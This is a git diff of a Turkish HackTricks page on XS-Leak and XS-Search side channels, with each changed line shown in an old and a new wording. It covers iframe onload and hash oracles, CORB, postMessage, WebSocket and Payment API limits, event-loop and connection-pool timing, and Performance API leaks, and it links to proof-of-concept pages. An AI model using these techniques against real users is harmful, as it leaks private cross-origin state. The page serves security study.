[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/) olmadığında, bir sayfa ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken süre bir saldırgan tarafından ölçülebilir. Bu ölçüm genellikle bir iframe'in `onload` işleyicisinin, kaynak yükleme ve JavaScript yürütmesinin tamamlanmasından sonra tetiklendiği için mümkündür. Betik yürütme tarafından tanıtılan değişkenliği atlatmak için bir saldırgan, `<iframe>` içinde [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) özniteliğini kullanabilir. Bu özniteliğin eklenmesi, JavaScript'in yürütülmesini kısıtlayarak, özellikle ağ performansı tarafından büyük ölçüde etkilenen bir ölçümü kolaylaştırır.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -158,28 +158,28 @@ Bir kaynağı almanın ne kadar zaman aldığı, [`unload`](https://developer.mo
* **Dahil Etme Yöntemleri**: Frames
* **Algılanabilir Fark**: Sayfa İçeriği
* **Daha fazla bilgi**:
* **Özet**: Sayfa doğru içeriğe erişildiğinde hata alabilir ve herhangi bir içeriğe erişildiğinde doğru şekilde yüklenebilirseniz, zamanı ölçmeden tüm bilgileri çıkarmak için bir döngü oluşturabilirsiniz.
* **Özet**: Sayfa doğru içeriğe erişildiğinde hata alabilir ve herhangi bir içeriğe erişildiğinde doğru şekilde yüklenebilir, bu durumda zamanı ölçmeden tüm bilgileri çıkarmak için bir döngü oluşturabilirsiniz.
* **Kod Örneği**:
Örneğin, **gizli** içeriğe sahip **sayfayı** bir **Iframe** içine **yerleştirebileceğinizi** varsayalım.
Varsayalım ki **gizli** içeriğe sahip olan **sayfayı** bir **Iframe** içine **yerleştirebiliyorsunuz**.
Kurbanın "_**bayrak**_" içeren dosyayı aramasını sağlayabilirsiniz, bir **Iframe** içinde (örneğin CSRF'yi sömürerek). Iframe içinde _**onload olayı**_ her zaman en az bir kez **gerçekleştirileceğini** biliyorsunuz. Sonra, Iframe'in **URL'sini** değiştirerek sadece URL'nin içindeki **hash** içeriğini değiştirerek **değiştirebilirsiniz**.
Kurbanın "_**bayrak**_" içeren dosyayı aramasını sağlayabilirsiniz, örneğin bir **Iframe** kullanarak (örneğin CSRF'yi sömürerek). Iframe içinde _**onload olayı**_ her zaman en az bir kez **gerçekleştirileceğini** biliyorsunuz. Sonra, **URL'yi** değiştirerek sadece URL içindeki **hash** içeriğini değiştirerek **iframe**'in **URL'sini değiştirebilirsiniz**.
Örneğin:
1. **URL1**: www.saldırgan.com/xssearch#deneme1
2. **URL2**: www.saldırgan.com/xssearch#deneme2
Eğer ilk URL **başarılı bir şekilde yüklendiyse**, o zaman **URL'nin hash** kısmını **değiştirdiğinizde**, **onload** olayı **tekrar tetiklenmeyecek**. Ancak **eğer** sayfa bir tür **hata** içeriyorsa **yüklenirken**, o zaman **onload** olayı **tekrar tetiklenecektir**.
Eğer ilk URL **başarılı bir şekilde yüklendiyse**, o zaman **URL'nin hash** kısmını **değiştirdiğinizde**, **onload** olayı **tekrar tetiklenmeyecek**. Ancak **eğer** sayfa **yüklenirken bir tür hata** varsa, o zaman **onload** olayı **tekrar tetiklenecek**.
Bu sayede, **doğru** yüklenen bir sayfa ile erişilen bir sayfa arasında **ayırım yapabilirsiniz**.
Bu sayede, **doğru şekilde** yüklenen bir sayfa ile erişildiğinde **hata** içeren bir sayfa arasında **ayırım yapabilirsiniz**.
### Javascript Yürütme
* **Dahil Etme Yöntemleri**: Frames
* **Algılanabilir Fark**: Sayfa İçeriği
* **Daha fazla bilgi**:
* **Özet:** Eğer **sayfa** **duyarlı** içeriği **döndürüyorsa** veya kullanıcı tarafından **kontrol edilebilecek** bir **içerik**. Kullanıcı **geçerli JS kodunu negatif durumda** ayarlayabilir, her denemeyi **`<script>`** etiketleri içinde **yükle**, böylece **negatif** durumlarda saldırganların **kodu** **yürütülür**, ve **olumlu** durumlarda **hiçbir şey** yürütülmez.
* **Özet:** Eğer **sayfa** **duyarlı** içeriği **döndürüyorsa** veya kullanıcı tarafından **kontrol edilebilecek bir içerik**. Kullanıcı **geçerli JS kodunu negatif durumda** ayarlayabilir ve her denemeyi **`<script>`** etiketleri içinde **yükle**, böylece **negatif** durumlarda saldırganların **kodu** **yürütülür**, ve **olumlu** durumlarda **hiçbir şey** yürütülmez.
* **Kod Örneği:**
{% content-ref url="javascript-execution-xs-leak.md" %}
@ -191,10 +191,10 @@ Bu sayede, **doğru** yüklenen bir sayfa ile erişilen bir sayfa arasında **ay
* **Dahil Etme Yöntemleri**: HTML Elemanları
* **Algılanabilir Fark**: Durum Kodu ve Başlıklar
* **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Özet**: **Cross-Origin Read Blocking (CORB)**, **Spectre** gibi saldırılara karşı korunmak için web sayfalarının belirli hassas çapraz kökenli kaynakları yüklemesini önleyen bir güvenlik önlemidir. Ancak, saldırganlar koruyucu davranışını sömürebilir. **CORB**'a tabi bir yanıt, `nosniff` ile korunan bir `Content-Type` ile birlikte bir `2xx` durum kodu döndürdüğünde, **CORB** yanıtın gövdesini ve başlıklarını sıyırır. Bu durumu gözlemleyen saldırganlar, **başarı veya hata gösteren** durum kodu ve **CORB** tarafından korunduğunu belirten `Content-Type`'ın kombinasyonunu çıkarabilir, potansiyel bilgi sızıntısına yol açabilir.
* **Kod Örneği**:
* **Özet**: **Cross-Origin Read Blocking (CORB)**, **Spectre** gibi saldırılara karşı korunmak için belirli hassas çapraz kökenli kaynakların yüklenmesini engelleyen bir güvenlik önlemidir. Ancak, saldırganlar koruyucu davranışını sömürebilir. **CORB**'a tabi bir yanıt, `nosniff` ile korunan bir `Content-Type` ile birlikte bir `2xx` durum kodu döndürdüğünde, **CORB** yanıtın gövdesini ve başlıklarını sıyırır. Bu durumu gözlemleyen saldırganlar, **başarı veya hata gösteren** **durum kodu** ve **CORB** tarafından korunduğunu belirten `Content-Type`'ın kombinasyonunu çıkarabilir, potansiyel bilgi sızıntısına yol açabilir.
* **Kod Örneği:**
Saldırı hakkında daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin.
Daha fazla bilgi için bilgi linkini kontrol edin.
### onblur
@ -204,7 +204,7 @@ Saldırı hakkında daha fazla bilgi için daha fazla bilgi bağlantısını kon
* **Özet**: ID veya name özniteliğinden hassas veri sızdırma.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Bir sayfayı bir **iframe** içine yüklemek ve sayfanın **iframe'in elementine odaklanmasını** sağlamak için **`#id_değeri`** kullanabilirsiniz, ardından bir **`onblur`** sinyali tetiklendiğinde, ID öğesi varsa.\
Bir **iframe** içine bir sayfa **yüklemek** ve sayfanın **elementine odaklanmak** için **`#id_değerini`** kullanabilirsiniz, ardından bir **`onblur`** sinyali tetiklendiğinde, ID öğesi varsa.\
Aynı saldırıyı **`portal`** etiketleri ile gerçekleştirebilirsiniz.
### postMessage Yayınları <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -215,14 +215,14 @@ Aynı saldırıyı **`portal`** etiketleri ile gerçekleştirebilirsiniz.
* **Özet**: Bir postMessage'dan hassas bilgileri toplamak veya postMessage'ın varlığını kullanarak kullanıcının sayfadaki durumunu bilmek için bir oracle olarak kullanmak.
* **Kod Örneği**: `Tüm postMessage'ları dinleyen herhangi bir kod.`
Uygulamalar genellikle farklı kökenler arasında iletişim kurmak için [`postMessage` yayınları](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kullanır. Ancak, `targetOrigin` parametresi doğru şekilde belirtilmezse, bu yöntem **duyarlı bilgileri** yanlışlıkla açığa çıkarabilir, mesajları almak için herhangi bir pencereye izin verir. Ayrıca, bir mesaj almanın sadece bir **oracle** olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının durumu veya kimliği hakkında bilgi verebilir, örneğin oturum açmış olup olmadığı gibi.
Uygulamalar genellikle farklı kökenler arasında iletişim kurmak için [`postMessage` yayınları](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kullanır. Ancak, bu yöntem, `targetOrigin` parametresi doğru şekilde belirtilmediğinde **duyarlı bilgileri** yanlışlıkla açığa çıkarabilir, mesajları almak için herhangi bir pencereye izin verebilir. Ayrıca, bir mesaj almanın sadece **bir oracle** olarak işlev görmesi mümkündür; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının durumu veya kimliği hakkında bilgi verebilir, örneğin oturum açmış olup olmadığı gibi.
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## Global Sınırlar Teknikleri
@ -234,25 +234,25 @@ Bugün Erişim Alın:
* **Özet**: WebSocket bağlantı limitini tüketmek, çapraz kökenli bir sayfanın WebSocket bağlantılarının sayısını sızdırır.
* **Kod Örneği**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
Hedef sayfanın kaç tane **WebSocket bağlantısı kullandığını** belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgiler sızdırmasına olanak tanır.
Hedef sayfanın kaç tane **WebSocket bağlantısı kullandığını** belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgileri sızdırmasına olanak tanır.
Bir **köken**, bağlantıların durumlarına bakılmaksızın, **maksimum miktarda WebSocket** bağlantı nesnesini kullandığında, yeni nesnelerin oluşturulması **JavaScript istisnalarına neden olur**. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir açılır pencerede veya iframe içinde açar ve hedef web yüklendikten sonra, mümkün olan en fazla WebSocket bağlantısını oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesi penceresi tarafından kullanılan **WebSocket bağlantılarının sayısıdır**.
Bir **köken**, bağlantı nesnelerinin **maksimum sayısını** kullandığında, bağlantıların durumundan bağımsız olarak, **yeni nesnelerin oluşturulması JavaScript istisnalarına neden olur**. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir açılır pencerede veya iframe içinde açar ve hedef web yüklendikten sonra, mümkün olan en fazla WebSocket bağlantısını oluşturmaya çalışır. **Atılan istisnaların sayısı**, hedef web sitesi penceresi tarafından kullanılan **WebSocket bağlantılarının sayısıdır**.
### Ödeme API
* **Dahil Etme Yöntemleri**: Frames, ılır Pencereler
* **Dahil Etme Yöntemleri**: Frames, Pop-up'lar
* **Algılanabilir Fark**: API Kullanımı
* **Daha Fazla Bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Özet**: Yalnızca bir ödeme isteğinin aynı anda etkin olabileceğini belirleyin.
* **Özet**: Sadece bir ödeme isteğinin aynı anda aktif olabileceğini belirle.
* **Kod Örneği**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Bu XS-Leak, bir saldırganın **çapraz kökenli bir sayfanın bir ödeme isteği başlattığını algılamasını** sağlar.
Bu XS-Leak, bir saldırganın **çapraz kökenli bir sayfanın bir ödeme isteği başlattığını algılamasına** olanak tanır.
Çünkü **yalnızca bir ödeme isteğinin aynı anda etkin olabileceği** için, hedef web sitesi Ödeme İsteği API'sını kullanıyorsa, bu API'yi kullanmaya yönelik **diğer girişimler başarısız olacak** ve bir **JavaScript istisnasına** neden olacaktır. Saldırgan, bu durumu söz konusu olduğunda **düzenli aralıklarla Ödeme API arayüzünü göstermeye çalışarak** sömürebilir. Bir deneme istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, bu düzenli denemeleri hemen arayüzü oluşturduktan sonra kapatılarak gizleyebilir.
Çünkü **aynı anda yalnızca bir ödeme isteği aktif olabilir**, hedef web sitesi Ödeme İsteği API'sını kullanıyorsa, bu API'yi kullanmaya yönelik **diğer girişimler başarısız olacak** ve bir **JavaScript istisnasına** neden olacaktır. Saldırgan, bu durumu sömürerek **periyodik olarak Ödeme API'sini göstermeye çalışabilir**. Bir deneme istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, bu periyodik denemeleri hemen oluşturduktan sonra UI'yi kapatılarak gizleyebilir.
### Olay Döngüsünün Zamanlaması <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
* **Dahil Etme Yöntemleri**:
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu Nedeniyle)
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Özet:** Tek iplikli JS olay döngüsünü kötüye kullanarak bir web sayfasının yürütme süresini ölçün.
* **Kod Örneği**:
@ -261,88 +261,87 @@ Bu XS-Leak, bir saldırganın **çapraz kökenli bir sayfanın bir ödeme isteğ
[event-loop-blocking-+-lazy-images.md](event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
JavaScript, [tek iplikli bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **aynı anda yalnızca bir görevi yürütebileceği anlamına gelir**. Bu özellik, **farklı kökenden gelen kodun ne kadar sürede yürütüldüğünü ölçmek** için sömürülebilir. Bir saldırgan, kendi kodlarının olay döngüsündeki yürütme süresini sürekli olarak sabit özelliklere sahip olaylar göndererek ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenir. Diğer kökenlerin de aynı havuza olaylar gönderdiği durumda, bir **saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek bu harici olayların yürütülme süresini çıkarabilir**. Bu gecikmeleri izlemek yöntemi, olay döngüsünü gecikmeler için izleyerek farklı kökenlerden gelen kodların yürütme süresini ortaya çıkarabilir ve hassas bilgileri ortaya çıkarabilir.
JavaScript, [tek iplikli bir olay döngüsü](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) eşzamanlılık modelinde çalışır, bu da **yalnızca bir görevi aynı anda yürütebileceği anlamına gelir**. Bu özellik, **farklı kökenden gelen kodun ne kadar sürede yürütüldüğünü ölçmek** için sömürülebilir. Bir saldırgan, kendi kodunun olay döngüsündeki yürütme süresini sürekli olarak sabit özelliklere sahip olaylar göndererek ölçebilir. Bu olaylar, olay havuzu boş olduğunda işlenecektir. Diğer kökenlerin de aynı havuza olaylar gönderdiği durumda, bir **saldırgan, kendi görevlerinin yürütülmesindeki gecikmeleri gözlemleyerek dış olayların yürütülme süresini çıkarabilir**. Bu gecikmeleri izleyerek olay döngüsünü izlemek, farklı kökenlerden gelen kodun yürütme süresini ortaya çıkarabilir ve hassas bilgileri ortaya çıkarabilir.
{% hint style="warning" %}
Bir yürütme zamanlamasında **daha kesin ölçümler** elde etmek için **ağ faktörlerini ortadan kaldırmak** mümkündür. Örneğin, sayfanın yüklenmeden önce kullandığı kaynakları yükleyerek.
Bir yürütme zamanlamasında **ağ faktörlerini ortadan kaldırmak** ve **daha kesin ölçümler** elde etmek mümkündür. Örneğin, sayfayı yüklemeden önce sayfada kullanılan kaynakları yükleyerek.
{% endhint %}
### Meşgul Olay Döngüsü <a href="#busy-event-loop" id="busy-event-loop"></a>
* **Dahil Etme Yöntemleri**:
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu Nedeniyle)
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Özet:** Bir web işleminin yürütme süresini ölçmenin bir yolu, bir ipliğin olay döngüsünü kasıtlı olarak engellemek ve ardından olay döngüsünün tekrar erişilebilir hale gelmesinin ne kadar sürdüğünü zamanlamaktır. Bir uzun hesaplama veya senkron API çağrısı gibi bir engelleme işlemi (örneğin) olay döngüsüne ekleyerek ve ardından sonraki kodun yürütmeye başlamasının ne kadar sürdüğünü izleyerek, olay döngüsü sırasında engelleme süresince yürütülen görevlerin süresini çıkarabilir. Bu teknik, JavaScript'in olay döngüsünün tek iplikli doğasından yararlanır, burada görevler sıralı olarak yürütülür ve aynı ipliği paylaşan diğer işlemlerin performansı veya davranışı hakkında bilgi sağlayabilir.
* **Özet:** Bir web işleminin yürütme süresini ölçmenin bir yolu, bir ipliğin olay döngüsünü kasıtlı olarak engellemek ve ardından olay döngüsünün tekrar kullanılabilir hale gelmesinin ne kadar sürdüğünü zamanlamaktır. Bir olay döngüsüne (uzun hesaplama veya senkron API çağrısı gibi) engelleyici bir işlem ekleyerek ve ardından sonraki kodun yürütmeye başlamasının ne kadar sürdüğünü izleyerek, olay döngüsünde engelleme süresince yürütülen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iplikli doğasından yararlanır, burada görevler sıralı olarak yürütülür ve aynı ipliği paylaşan diğer işlemlerin performansı veya davranışı hakkında bilgi sağlayabilir.
* **Kod Örneği**:
Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu atlatma potansiyeline sahip olmasıdır. **Site İzolasyonu**, farklı web sitelerini ayrı işlemlere ayıran ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişmesini engellemeyi amaçlayan bir güvenlik özelliğidir. Ancak, başka bir kökenin yürütme zamanlamasını paylaşılan olay döngüsü aracılığıyla etkileyerek, bir saldırgan, o kökenin etkinlikleri hakkında bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişime dayanmaz, ancak o kökenin etkinliklerinin paylaşılan olay döngüsündeki etkisini gözlemler ve dolayısıyla **Site İzolasyonu** tarafından oluşturulan koruyucu bariyerlerden kaçınır.
Olay döngüsünü kilitleyerek yürütme süresini ölçme tekniğinin önemli bir avantajı, **Site İzolasyonu**'nu atlatma potansiyeline sahip olmasıdır. **Site İzolasyonu**, farklı web sitelerini ayrı işlemlere ayıran ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişmesini engellemeyi amaçlayan bir güvenlik özelliğidir. Ancak, başka bir kökenin yürütme zamanlamasını paylaşılan olay döngüsü aracılığıyla etkileyerek, bir saldırgan, o kökenin etkinlikleri hakkında bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişime dayanmaz, ancak o kökenin etkinliklerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemleyerek, **Site İzolasyonu** tarafından oluşturulan koruyucu engelleri atlar.
{% hint style="warning" %}
Bir yürütme zamanlamasında **daha kesin ölçümler** elde etmek için **ağ faktörlerini ortadan kaldırmak** mümkündür. Örneğin, sayfanın yüklenmeden önce kullandığı kaynakları yükleyerek.
Bir yürütme zamanlamasında **ağ faktörlerini ortadan kaldırmak** ve **daha kesin ölçümler** elde etmek mümkündür. Örneğin, sayfayı yüklemeden önce sayfada kullanılan kaynakları yükleyerek.
{% endhint %}
### Bağlantı Havuzu
* **Dahil Etme Yöntemleri**: JavaScript İstekleri
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu Nedeniyle)
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Özet:** Bir saldırgan, tüm soketleri kilitli tutabilir, hedef web sayfasını yükleyebilir ve aynı anda başka bir sayfayı yüklerken, son sayfanın yüklenmeye başlaması arasındaki süre hedef sayfanın yüklenme süresidir.
* **Özet:** Bir saldırgan, tüm soketleri kilitli hale getirebilir, hedef web sayfasını yüklerken aynı anda başka bir sayfayı yükler, son sayfanın yüklenmeye başlaması arasındaki süre hedef sayfanın yüklenme süresidir.
* **Kod Örneği**:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
Tarayıcılar sunucu iletişimi için soketleri kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle, **tarayıcılar eşzamanlı soketlerin sayısına bir sınırlama** getirmek zorundadır. Saldırganlar bu sınırlamayı aşağıdaki adımlarla sömürebilir:
Tarayıcılar sunucu iletişimi için soketleri kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle **tarayıcılar aynı anda açık soket sayısına bir sınır getirmek zorundadır**. Saldırganlar bu sınırlamayı aşağıdaki adımlarla sömürebilir:
1. Tarayıcının soket sınırını belirleyin, örneğin, 256 global soket.
2. Bağlantıları tamamlamadan açık tutacak şekilde farklı ana bilgisayarlara 255 istek başlatarak 255 soketi uzun bir süre işgal edin.
2. Bağlantıları tamamlamadan açık tutacak şekilde farklı ana bilgisayarlara 255 istek başlatarak 255 soketi uzun süre işgal edin.
3. 256. soketi hedef sayfaya bir istek göndermek için kullanın.
4. Farklı bir ana bilgisayara 257. isteği göndermeye çalışın. Tüm soketlerin kullanımda olduğu (2. ve 3. adımlara göre) göz önüne alındığında, bu istek bir soket kullanılabilir hale gelene kadar sıraya alınacaktır. Bu isteğin devam etmeden önce beklemesi, saldırgana 256. soketle ilişkili ağ etkinliği hakkında zamanlama bilgisi sağlar (hedef sayfanın soketi). 2. adımdan gelen 255 soket hala meşgul olduğundan, herhangi yeni kullanılabilir soketin 3. adımdan serbest bırakılan soket olması gerektiğini ima eder. Dolayısıyla, 256. soketin kullanılabilir hale gelmesi için gereken süre, hedef sayfaya yapılan isteğin tamamlanması için gereken süre ile doğrudan ilişkilidir.
4. Farklı bir ana bilgisayara 257. isteği göndermeye çalışın. Tüm soketlerin kullanımda olduğu (2. ve 3. adımlara göre) göz önüne alındığında, bu istek bir soket kullanılabilir hale gelene kadar sıraya alınacaktır. Bu isteğin devam etmeden önceki gecikme, saldırgana 256. soketle ilgili ağ etkinliği hakkında zamanlama bilgisi sağlar (hedef sayfanın soketi). 2. adımdan gelen 255 soket hala meşgul olduğundan, herhangi yeni kullanılabilir soketin 3. adımdan serbest bırakılan soket olması gerektiğini ima eder. Dolayısıyla, 256. soketin kullanılabilir hale gelme süresi, hedef sayfaya yapılan isteğin tamamlanması için gereken süre ile doğrudan ilişkilidir.
Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
Daha fazla bilgi için: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Hedefe Göre Bağlantı Havuzu
* **Dahil Etme Yöntemleri**: JavaScript İstekleri
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu Nedeniyle)
* **Algılanabilir Fark**: Zamanlama (Genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
* **Daha Fazla Bilgi**:
* **Özet:** Önceki teknik gibi, ancak tüm soketleri kullanmak yerine, Google **Chrome** aynı kökene **6 eşzamanlı istek sınırı** koyar. Eğer **5'ini bloke eder** ve ardından **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve **kurban sayfanın** aynı uca **daha fazla istek göndermesini sağlamak** için **sayfa durumunu algılamak** için **6. istek** daha **uzun sürecektir** ve bunu algılayabiliriz.
* **Özet:** Önceki teknik gibi ancak tüm soketleri kullanmak yerine, Google **Chrome** aynı kökene **6 eşzamanlı istek sınırı** koyar. Eğer **5'ini bloke eder** ve ardından **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve **kurban sayfanın** aynı uca **daha fazla istek göndermesini sağlamak** için **6. isteğin** daha **uzun sürmesini** ve bunu algılayabiliriz.
## Performans API Teknikleri
[`Performans API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance), web uygulamalarının performans metriklerine dair içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API) tarafından daha da zenginleştirilir. Resource Timing API, ağ isteği zamanlamalarının detaylı izlenmesini sağlar, örneğin isteklerin süresi gibi. Özellikle, sunucular yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan arama süresi gibi ek veriler erişilebilir hale gelir.
[`Performans API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance), web uygulamalarının performans metriklerine dair içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API) tarafından daha da zenginleştirilir. Resource Timing API, ağ isteği zamanlamalarının detaylı izlenmesini sağlar, örneğin isteklerin süresini. Sunucular, yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan arama süresi gibi ek veriler erişilebilir hale gelir.
Bu zengin veri, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla alınabilir, performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerinin ölçülmesini kolaylaştırır. Ancak, belirli işlemler için Chrome gibi tarayıcılarda `performance.now()`'un hassasiyeti milisaniyelere sınırlı olabilir, bu da zamanlama ölçümlerinin ayrıntısını etkileyebilir.
Bu zengin veri, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla alınabilir, performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) tarafından elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerinin ölçülmesini kolaylaştırır. Ancak, belirli işlemler için Chrome gibi tarayıcılarda `performance.now()`'un hassasiyeti milisaniyelere sınırlı olabilir, bu da zamanlama ölçümlerinin ayrıntısını etkileyebilir.
Zamanlama ölçümlerinin ötesinde, Performans API, güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'da `performance` nesnesinde sayfaların varlığı veya yokluğu, `X-Frame-Options`'ın uygulanıp uygulanmadığını gösterebilir. Özellikle, bir sayfa `X-Frame-Options` nedeniyle bir çerçevede oluşturulmaktan engellendiğinde, bu sayfa `performance` nesnesinde kaydedilmez, sayfanın çerçeve politikaları hakkında ince bir ipucu sağlar.
Zamanlama ölçümlerinin ötesinde, Performans API, güvenlikle ilgili içgörüler için kullanılabilir. Örneğin, Chrome'da `performance` nesnesinde sayfaların varlığı veya yokluğu, `X-Frame-Options`'ın uygulanıp uygulanmadığını gösterebilir. Özellikle, bir sayfa `X-Frame-Options` nedeniyle bir çerçevede oluşturulmaktan engellendiğinde, bu sayfa `performance` nesnesinde kaydedilmez, sayfanın çerçeve politikaları hakkında ince bir ipucu sağlar.
### Hata Sızıntısı
* **Dahil Etme Yöntemleri**: Çerçeveler, HTML Elemanları
* **Dahil Etme Yöntemleri**: Çerçeveler, HTML Öğeleri
* **Algılanabilir Fark**: Durum Kodu
* **Daha Fazla Bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Özet:** Hatalara neden olan bir istek, bir kaynak zamanlama girdisi oluşturmaz.
* **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
**Hata** ile sonuçlanan istekler, bir **performans girdisi oluşturmaz**.
**Hata** oluşturan istekler, bir **performans girdisi oluşturmaz** ve bu nedenle **HTTP yanıt durum kodları arasında farklılık** yapılabilir.
### Stil Yeniden Yükleme Hatası
* **Dahil Etme Yöntemleri**: HTML Elemanları
* **Dahil Etme Yöntemleri**: HTML Öğeleri
* **Algılanabilir Fark**: Durum Kodu
* **Daha Fazla Bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Özet:** Bir tarayıcı hatası nedeniyle, hatalara neden olan istekler iki kez yüklenir.
